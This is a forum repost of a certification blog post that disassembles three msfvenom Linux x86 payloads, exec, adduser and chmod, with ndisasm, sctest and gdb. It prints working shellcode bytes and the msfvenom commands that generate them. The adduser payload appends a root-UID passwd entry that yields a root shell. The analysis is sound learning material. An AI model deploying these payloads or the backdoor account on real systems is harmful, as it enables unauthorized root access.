Jump to content
Nytro

Analysing Msfvenom Payloads

Recommended Posts

Analysing Msfvenom Payloads

19 minute read

This post provides an analysis of three different payloads generated using msfvenom that target the Linux x86 platform:

  • linux/x86/exec
  • linux/x86/adduser
  • linux/x86/chmod

To do this, I will be using a combination of ndisasm, gdb and the sctest utility found within the libemu2 package.

When using ndisasm and sctest, you will see that the n and e options of echo are used when piping the shellcode to them. This is to ensure that no new lines are added to the end of the shellcode, and to make echo interpret the backslashes as escape sequences. Without these two options, the shellcode when not be interpreted correctly.

The ndisasm tool is used to reverse a series of bytes into the equivalent assembly code. Throughout these examples, the Intel syntax will be used.

The sctest tool is used to emulate and provide human readable output of what the code is doing. For example, if a system call is made, sctest is capable of displaying what the human readable name was, as opposed to the system call number, as well as what values were passed as arguments.

When gdb is used to step through the executing payload, the executable was created by taking the shellcode generated by msfvenom and placing it in the C application used throughout this series of posts Found Here.

Analysis of linux/x86/exec

The linux/x86/exec payload allows users to specify a command in the CMD option which will be executed with the payload. For this example, I specified whoami as the command:

$ msfvenom -p linux/x86/exec CMD=whoami -f c         
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes
Final size of c file: 201 bytes
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";

By testing this shellcode with sctest, we can see that the execution of whoami is being achieved by using the execve method:

$ echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80" | sctest -v -Ss 100000
verbose = 1
execve
int execve (const char *dateiname=00416fc0={/bin/sh}, const char * argv[], const char *envp[]);
cpu error error accessing 0x00000004 not mapped

stepcount 15
int execve (
     const char * dateiname = 0x00416fc0 =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x00416fb0 =>
               = 0x00416fc0 =>
                   = "/bin/sh";
           = 0x00416fb4 =>
               = 0x00416fc8 =>
                   = "-c";
           = 0x00416fb8 =>
               = 0x0041701d =>
                   = "whoami";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

When looking at the disassembly of the payload, however, the code looks quite different to what has been seen in my previous posts which use execve:

$ echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -p intel -
00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80

In the shellcode I have previously created, I used the xor instruction to zero out registers. The msfvenom shellcode uses a very interesting alternative, and one which reduces the amount of shellcode required.

Initially, 0xb is pushed on to the stack and then popped into $eax; this is the syscall number for execve.

After doing this, it calls the cdq instruction. The cdq instruction extends the sign bit of the $eax register into the $edx register. As the sign bit is only set if the value is negative, this means the sign bit is 0, and thus fills $edx with 0.

The reason this is required, is that the value in $edx is used as the third parameter of execve, which as can be seen from the sctest output, is set to 0.

Next, the null byte stored in $edx is pushed on to the stack, followed by 0x632d. Converting this value to a string in Python reveals that this is the 2nd value in the argv array:

$ python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "\x2d\x63"
'-c'

The reason that $edx is pushed on to the stack ahead of -c is because all strings must be terminated with null bytes.

The -c option of sh indicates what command it should run, as opposed to reading from stdin as per the man page:

Read commands from the command_string operand instead of from the standard input. Special parameter 0 will be set from the command_name operand and the positional parameters ($1, $2, etc.) set from the remaining argument operands.

After pushing the -c argument, 0x68732f and 0x6e69622f are pushed on to the stack, which together equate to /bin/sh:

>>> "\x2F\x73\x68"
'/sh'
>>> "\x2F\x62\x69\x6E"
'/bin'

After this, the stack pointer ($esp) is then stored in $ebx (i.e. the first argument of execve) followed by the null byte in $edx being pushed on to the stack once more to terminate the string.

Looking back to the call mapping from sctest, we can see that the /bin/sh passed as the first argument, and the /bin/sh passed as the first item of the argv parameter both reside in the same place in memory (0x00416fc0😞

const char * dateiname = 0x00416fc0 =>
      = "/bin/sh";
const char * argv[] = [
      = 0x00416fb0 =>
          = 0x00416fc0 =>
              = "/bin/sh";

This means that it will be the starting point for the second argument as well as the first.

Once /bin/sh is stored on the stack and by proxy in $ebx, a variation of the CALL-POP method is used at 00000018:

00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80

When the call instruction is used, the address of the instruction that directly proceeds it is pushed on to the stack. As the bytes that follow it are actually data, rather than instructions that are to be executed, this results in usable data being on the stack without the need to push it manually.

The instructions found at the offset that is being called are \x57\x53\x89\xe1. This isn’t displayed properly in ndisasm, as there is data before it that is defined in place, but running these bytes through ndisasm on their own shows that it is pushing the value previously stored in $edi (-c) onto the stack, followed by the value in $ebx (/bin/sh) and then moving the stack pointer into $ecx:

$ echo -ne "\x57\x53\x89\xe1" | ndisasm -b 32 -p intel -
00000000  57                push edi
00000001  53                push ebx
00000002  89E1              mov ecx,esp

Examining the bytes between the call instruction and the mov into $ecx shows that the value that was pushed on to the stack is the whoami command that is to be executed:

$ python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "\x77\x68\x6f\x61\x6d\x69"
'whoami'

At this point, all the required arguments are in the appropriate registers and the call to execve can be invoked by executing int 0x80.

To verify this, I stepped through the shellcode in gdb. As can be seen in the output below, all the arguments are in the correct places:

[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xffffc9de ("/bin/sh")
ECX: 0xffffc9ce --> 0xffffc9de ("/bin/sh")
EDX: 0x0
ESI: 0xf7fa5000 --> 0x1d7d6c
EDI: 0xffffc9e6 --> 0x632d ('-c')
EBP: 0xffffca28 --> 0x0
ESP: 0xffffc9ce --> 0xffffc9de ("/bin/sh")
EIP: 0xffffca19 --> 0xf10080cd
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xffffca11:	popa   
   0xffffca12:	ins    DWORD PTR es:[edi],dx
   0xffffca13:	imul   eax,DWORD PTR [eax],0xe1895357
=> 0xffffca19:	int    0x80
   0xffffca1b:	add    cl,dh
   0xffffca1d:	leave  
   0xffffca1e:	(bad)  
   0xffffca1f:	inc    DWORD PTR [eax-0x36]
[------------------------------------stack-------------------------------------]
0000| 0xffffc9ce --> 0xffffc9de ("/bin/sh")
0004| 0xffffc9d2 --> 0xffffc9e6 --> 0x632d ('-c')
0008| 0xffffc9d6 --> 0xffffca0e ("whoami")
0012| 0xffffc9da --> 0x0
0016| 0xffffc9de ("/bin/sh")
0020| 0xffffc9e2 --> 0x68732f ('/sh')
0024| 0xffffc9e6 --> 0x632d ('-c')
0028| 0xffffc9ea --> 0x56060000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xffffca19

And when executed, successfully calls whoami:

$ ./test
Shellcode length: 15
rastating

Analysis of linux/x86/adduser

The linux/x86/adduser payload creates a new user on the system. By default, the username and password for the new user are both metasploit and the default shell is sh.

As the defaults for the payload are acceptable, I did not override them when generating the payload:

$ msfvenom -p linux/x86/adduser -f c          
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

Testing the shellcode with sctest didn’t reveal any system calls, even with a higher level of verbosity:

$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | sctest -vvvv -Ss 100000
verbose = 4
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417000
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags:
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417000
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags:
[emu 0x0x56414d48e740 debug ] 31C9                            xor ecx,ecx
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417002
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF
[emu 0x0x56414d48e740 debug ] 89CB                            mov ebx,ecx
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417004
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF
[emu 0x0x56414d48e740 debug ] 6A46                            push byte 0x46
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417006
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF
[emu 0x0x56414d48e740 debug ] 58                              pop eax
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417007
[emu 0x0x56414d48e740 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF
[emu 0x0x56414d48e740 debug ] CD80                            int 0x80
stepcount 4
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417009
[emu 0x0x56414d48e740 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF

Processing the shellcode through ndisasm produces quite a lot more code than the previous example:

$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

The first task the payload carries out is setting the real and effective user ID of the process to be the root user. The first instruction XORs $ecx with itself, resulting in 0 being stored in the register.

It then moves $ecx into $ebx (i.e. setting the first and second parameters of the method to be called to 0).

After setting up the parameters, 0x46 is then pushed on to the stack and popped into $eax. By converting the value to an integer and cross-referencing it with unistd_32.h, we can see that the call being made is setreuid:

$ python -c "print int(0x46)"
70
$ grep " 70" /usr/include/x86_64-linux-gnu/asm/unistd_32.h
#define __NR_setreuid 70

As a normal user does not have the permission to create new users on the system, the call to setreuid is most likely in place to accommodate for scenarios where a process is not running as root but is capable of doing so (for example when the suid bit is set on an executable).

Once the EUID/UID has been set to 0, 0x5 is then pushed on to the stack and popped into $eax in preparation for another syscall. Again, cross referencing with unistd_32.h confirmed the call being made; this time it is to open.

After setting up the syscall number, $ecx is cleared using the xor instruction and pushed on to the stack to act as the null terminator for the string that is being specified for the pathname parameter.

The value that is pushed on to the stack consists of three dwords:

  • 0x64777373
  • 0x61702f2f
  • 0x6374652f

When converted to ASCII, these values equate to /etc//passwd:

$ print -c "print '\x2F\x65\x74\x63\x2F\x2F\x70\x61\x73\x73\x77\x64'"
print '/etc//passwd'

The addition of an extra forward slash is a technique used frequently when shellcoding as to avoid null bytes being used when working with paths. By adding the extra slash, the full path can take up exactly 3 dwords, as opposed to 11 bytes for the path and one null byte to fill the remaining gap.

As far as Linux is concerned, /etc/passwd is equal to /etc//passwd and it will be opened as if only one slash had been specified.

Once these values are pushed on to the stack, $ebx is then set to point to the current stack pointer.

Next, $ecx is incremented with the inc instruction - which brings its value up to 1. The higher byte of the lower 16 bits ($ch) is then set to 0x4, giving the $ecx register as a whole the value of 0x401 which in decimal is 1025.

The flags argument can define multiple flags by using bitwise operations. One of the mandatory things that needs to be set in the flags argument is the access mode, as per the man page:

The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR.

These request opening the file read-only, write-only, or read/write, respectively.

By grepping the /usr/include directory for one of the flags mentioned in the man page, the definitions for them can all be found within /usr/include/asm-generic/fcntl.h.

The O_WRONLY access flag is defined as 00000001, which we know is set due to 1 being present in the lowest byte of $ecx - which makes logical sense, as the file will need to be opened for write access to modify it.

As the decimal value of $ecx is 1025 and we know that the first bit is set, there can only be a single flag that is set, and it has the decimal value of 1024.

Bitwise flags work by setting individual bits in a binary value. So, if we visualise how the value 1025 is constructed in binary, we can see that it consists of two 1s - one in the right most column, and one in the column that represents a unit of 1024 - there is no other combination of bits possible to reach the value of 1025:

+------+-----+-----+-----+----+----+----+----+---+---+---+---+
| 1024 | 512 | 256 | 128 | 96 | 48 | 24 | 16 | 8 | 4 | 2 | 1 |
+------+-----+-----+-----+----+----+----+----+---+---+---+---+
| 1    | 0   | 0   | 0   | 0  | 0  | 0  | 0  | 0 | 0 | 0 | 1 |
+------+-----+-----+-----+----+----+----+----+---+---+---+---+

Continuing to analyse fcntl.h, we can see that O_APPEND is defined as 00002000 in octal. In decimal, this value is 1024:

$ python -c "print int('2000', 8)"
1024

The man page explains that the O_APPEND has the following effect:

The file is opened in append mode. Before each write(2), the file offset is positioned at the end of the file, as if with lseek(2). The modification of the file offset and the write operation are performed as a single atomic step.

This makes sense in the context of what the payload needs to do. /etc/passwd contains one line per user, so the desired functionality would be to append a new line to the end of the file, rather than writing in the middle of it or overwriting it altogether.

After invoking the call with int 0x80, the return value is stored in $eax, which is the file descriptor that can be used to access the file, which is then moved into $ebx.

Now that the file is open for writing, the same CALL-POP method is used as was seen in the previous example to define string data and pop it into a register. The call instruction jumps to \x59\x8b\x51\xfc which pops into $ecx and moves the value at $ecx-4 into $edx:

$ echo -ne "\x59\x8B\x51\xFC" | ndisasm -b 32 -p intel -
00000000  59                pop ecx
00000001  8B51FC            mov edx,[ecx-0x4]

The value pushed into $ecx can be revealed by echoing the bytes that are defined in place:

$ echo -e "\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

As can be seen, this reflects the default options that were specified and is a valid entry for the passwd file.

After this is popped into $ecx, as mentioned above, $ecx-4 is moved into $edx. After the call instruction, the value 0x28 is defined, which can be found 4 bytes before the address that was pushed on to the stack as the return address; which can be seen if inspecting in gdb during execution:

gdb-peda$ x/4xw $ecx-4
0xbffff651:	0x00000028	0x6174656d	0x6f6c7073	0x413a7469

The value 0x28 is equal to 40 in decimal, which is the number of characters contained in the string that we wish to write to /etc/passwd.

After the arguments are defined, 0x4 is pushed on to the stack and popped into $eax, which is the syscall for write and it is then invoked with int 0x80.

The man page for write states:

On success, the number of bytes written is returned (zero indicates nothing was written).

And upon inspection of the $eax register after the syscall is invoked, we can see the return value is indeed 0x28, indicating a successful execution:

[----------------------------------registers-----------------------------------]
EAX: 0x28 ('(')
EBX: 0x3
ECX: 0xbffff655 ("metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x28 ('(')
ESI: 0x401fd4 --> 0x1edc
EDI: 0xbffff68c --> 0xbffff62a --> 0xcb89c931
EBP: 0xbffff6a8 --> 0x0
ESP: 0xbffff5fc ("/etc//passwd")
EIP: 0xbffff686 --> 0xcd58016a
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xbffff681:	push   0x4
   0xbffff683:	pop    eax
   0xbffff684:	int    0x80
=> 0xbffff686:	push   0x1
   0xbffff688:	pop    eax
   0xbffff689:	int    0x80
   0xbffff68b:	add    BYTE PTR [edx],ch
   0xbffff68d:	idiv   bh
[------------------------------------stack-------------------------------------]
0000| 0xbffff5fc ("/etc//passwd")
0004| 0xbffff600 ("//passwd")
0008| 0xbffff604 ("sswd")
0012| 0xbffff608 --> 0x0
0016| 0xbffff60c --> 0x4005ea (<main+157>:	mov    eax,0x0)
0020| 0xbffff610 --> 0x6f27a329
0024| 0xbffff614 --> 0xa1
0028| 0xbffff618 --> 0xb7ea8339 (<intel_check_word+9>:	add    esi,0x121cc7)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xbffff686 in ?? ()
gdb-peda$

Lastly, 0x1 is pushed and popped into $eax and called with int 0x80 to cleanly exit the process.

Upon inspection of /etc/passwd after the shellcode exits, we can see the user account was created:

# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

*** excess content redacted ***

sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

Switching to the metasploit user also works and provides a root shell:

$ su metasploit
Password:
# whoami
root
#

Analysis of linux/x86/chmod

For the purpose of testing this payload, I set the FILE option to /tmp/slae and the mode to be applied as 0777:

$ msfvenom -p linux/x86/chmod FILE=/tmp/slae MODE=0777 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 34 bytes
Final size of c file: 169 bytes
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0a\x00\x00\x00\x2f\x74\x6d\x70\x2f"
"\x73\x6c\x61\x65\x00\x5b\x68\xff\x01\x00\x00\x59\xcd\x80\x6a"
"\x01\x58\xcd\x80";

As the file needs to exist, I created it with a mode of 0644:

$ touch /tmp/slae
$ chmod /tmp/slae 0644
$ ls -l /tmp/slae
-rw-r--r-- 1 rastating rastating 0 Sep 17 15:55 /tmp/slae

Processing the shellcode with ndisasm shows that the payload does not contain a vast amount of instructions:

$ echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0a\x00\x00\x00\x2f\x74\x6d\x70\x2f\x73\x6c\x61\x65\x00\x5b\x68\xff\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80A000000        call 0x14
0000000A  2F                das
0000000B  746D              jz 0x7a
0000000D  702F              jo 0x3e
0000000F  736C              jnc 0x7d
00000011  61                popa
00000012  65005B68          add [gs:ebx+0x68],bl
00000016  FF01              inc dword [ecx]
00000018  0000              add [eax],al
0000001A  59                pop ecx
0000001B  CD80              int 0x80
0000001D  6A01              push byte +0x1
0000001F  58                pop eax
00000020  CD80              int 0x80

The first instruction is cdq which will extend the sign bit of the $eax register into $edx - effectively setting $edx to 0.

After clearing the $edx register, 0xf is pushed on to the stack and popped into $eax. Cross referencing this value with unistd_32.h shows that it is the syscall number for the chmod method:

$ python -c "print int(0xf)"
15

$ grep " 15$" /usr/include/x86_64-linux-gnu/asm/unistd_32.h
#define __NR_chmod 15

Next, $edx is pushed on to the stack to terminate the string that is subsequently pushed on to the stack using the CALL-POP method seen in the previous examples. Printing the byte sequence that appears between the call instruction and the location being jumped to, reveals that the bytes contain the path specified for the FILE option:

$ python -c "print '\x2f\x74\x6d\x70\x2f\x73\x6c\x61\x65\x00'"
/tmp/slae

This can also be confirmed whilst stepping through the payload in gdb:

[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0x56556fd4 --> 0x1edc
ECX: 0x0
EDX: 0xffffffff
ESI: 0xf7fa5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffca28 --> 0x0
ESP: 0xffffc9a0 --> 0xffffca03 ("/tmp/slae")
EIP: 0xffffca0d --> 0x1ff685b
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xffffca0d:	pop    ebx
   0xffffca0e:	push   0x1ff
   0xffffca13:	pop    ecx
   0xffffca14:	int    0x80
[------------------------------------stack-------------------------------------]
0000| 0xffffc9a0 --> 0xffffca03 ("/tmp/slae")
0004| 0xffffc9a4 --> 0xffffffff
0008| 0xffffc9a8 --> 0x565555f4 (<main+167>:	mov    eax,0x0)
0012| 0xffffc9ac --> 0x56556fd4 --> 0x1edc
0016| 0xffffc9b0 --> 0xf7fa5000 --> 0x1d7d6c
0020| 0xffffc9b4 --> 0x0
0024| 0xffffc9b8 --> 0xffffca28 --> 0x0
0028| 0xffffc9bc --> 0xf7e1e2f6 (<printf+38>:	add    esp,0x1c)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xffffca0d in ?? ()
gdb-peda$

After /tmp/slae is pushed on to the stack, it is then popped into the $ebx register for use as the path argument of the call to chmod.

Lastly, the mode argument is configured by pushing the value 0x1ff on to the stack and popping it into $ecx. To verify this is correct, we can convert the hexadecimal value into octal, and see that it is indeed 0777 as was specified when creating the payload:

$ python -c "print oct(int(0x1ff))"
0777

After calling chmod, 0x1 is then pushed on to the stack and popped into $eax in order to call the exit syscall, to exit the program cleanly.

Running the compiled shellcode using strace confirms that the the syscall was invoked with the values interpretted from the shellcode and gdb output above:

$ strace ./test

*** excess output removed ***

write(1, "Shellcode length: 7\n", 20Shellcode length: 7
)   = 20
chmod("/tmp/slae", 0777)                = 0
exit(-2497565)                          = ?
+++ exited with 227 +++

Lastly, checking the permissions of /tmp/slae show the operation was successful:

$ stat /tmp/slae
  File: /tmp/slae
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: 10302h/66306d	Inode: 7735027     Links: 1
Access: (0777/-rwxrwxrwx)  Uid: ( 1000/rastating)   Gid: ( 1000/rastating)
Access: 2018-09-17 15:55:13.581844756 +0100
Modify: 2018-09-17 15:55:13.581844756 +0100
Change: 2018-09-17 16:21:26.173600289 +0100
 Birth: -

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1340

 

All source files can be found on GitHub at https://github.com/rastating/slae

 

Sursa: https://rastating.github.io/analysing-msfvenom-payloads/

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...